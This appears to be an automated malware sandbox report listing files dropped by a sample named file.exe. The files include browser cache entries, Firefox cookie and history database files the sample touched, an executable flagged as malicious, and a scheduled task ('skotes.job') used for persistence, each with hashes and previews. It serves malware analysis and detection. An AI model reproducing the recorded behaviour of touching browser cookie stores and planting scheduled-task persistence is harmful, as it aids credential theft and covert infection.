Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\ec948ed9-7891-4112-a1d4-605bd1d6b3d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir1920_228736446\893da8f4-d990-4f6d-a4df-a429fce515fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1920_228736446\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1920_228736446\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1920_228736446\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1920_228736446\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIEGCAAKFBA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3123712
Entropy (8bit):	6.626190923521119
Encrypted:	false
SSDEEP:	49152:jWGWJ9i+5Z5WxbqKJ9D+Fh1sOmQmSTxJCsso:CGZ+75WFqKJ9CFbPgST1
MD5:	735B427034DFA1E8184D92B3E9E0E918
SHA1:	B975F1733334E5FE7F5B243AF277C443F2284959
SHA-256:	2CE67A1AC2F39FF149EE9F832A02B1E4208300DD7DB269C2ABDEA19D67E8FF00
SHA-512:	C161ECB540F6F96CC2141920BF73D2964B9D467C40321659D908FB12D7CAC130C1D15E927E45FBB58078EE2A5A0151D14883208EDB1F5F8E08E346A77F497721
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................../...........@.........................../......D0...@.................................W...k...........................X./.............................../..................................................... . ............................@....rsrc...............................@....idata ............................@...peszfxun..(.......(.................@...uoryxkfj....../......./.............@....taggant.0..../.."..../.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIEGCAAKFBA.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.460409582663588
Encrypted:	false
SSDEEP:	6:9sFDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBnEt0:9sxlvJQ1CGAFMkXd8kX+VBEt0
MD5:	7F84B4A19CCB028819A00035864DB808
SHA1:	DD306B9D6DA4F2CB5E8D8C87DCA86D6BA75E7BDA
SHA-256:	361B3EEDAB3EF220EDA544C8FA3ED24F0EA1B75D91FDF5899464014F0156EF59
SHA-512:	9779AC75BDC55DAD22D2A41F2201077B5CE542E5669136F72D011E1BA25AF5DAC081AD64A1666CAFA1FFADFC2EF7058E957EA0C114A8435BD0F78A9A7503AC1E
Malicious:	false
Preview:	....t/.)0cD.. ...aF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (764)
Category:	downloaded
Size (bytes):	769
Entropy (8bit):	5.1315767087072555
Encrypted:	false
SSDEEP:	24:LiARFSxBBHslgT9lCuABuoB7HHHHHHHYqmffffffo:LnzSxBKlgZ01BuSEqmffffffo
MD5:	D284E8BE1BB79D60290E927E9D14E693
SHA1:	4C3C6AC2D5DAC84C177D27B850EC87903D635660
SHA-256:	3FB8AF5A84ECC30E21A3EE6DAA10C284B019DADEEBBDF6FAD76B68C0D52113F7
SHA-512:	6010A8DDC5FF244D1221F0F4EAC6F81B9518D76A9AD61BF71A19C92AD5AD172D0E606AA60063750EB485AED6182BA8D7AEF4CBCCEE31EE84B8AE56418D6B97F9
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["netflix arcane s2","pokemon go mankey community day","mortgage interest rates","horse trainer bob avila","aurora borealis forecast","the penguin finale","nvidia stock price","veterans day military free meals"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133674
Entropy (8bit):	5.432734887535482
Encrypted:	false
SSDEEP:	1536:i7C/VNg37Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlgwCFlOve2dzAcJ82O:fq7vhSJjxeX431PBLx8OF9j+Ysci2i6o
MD5:	74D6D3FEB0AAACB8024EBA6897F14378
SHA1:	D09C4CAB4922B3E51B14CFD618C0D14A08622E64
SHA-256:	4F441B97B3BFA2335FF0D55EBD0BE969FCD7C71F9B68B7BFD0802ED425008255
SHA-512:	BFB1D8060A1BE411C5DEBCDCD3CA54226B085CB8A401C097CD714E96ED53E5543F1C3690B21B7E35B21E56FB9501171453A82454A1A74854A87A214322A87D95
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
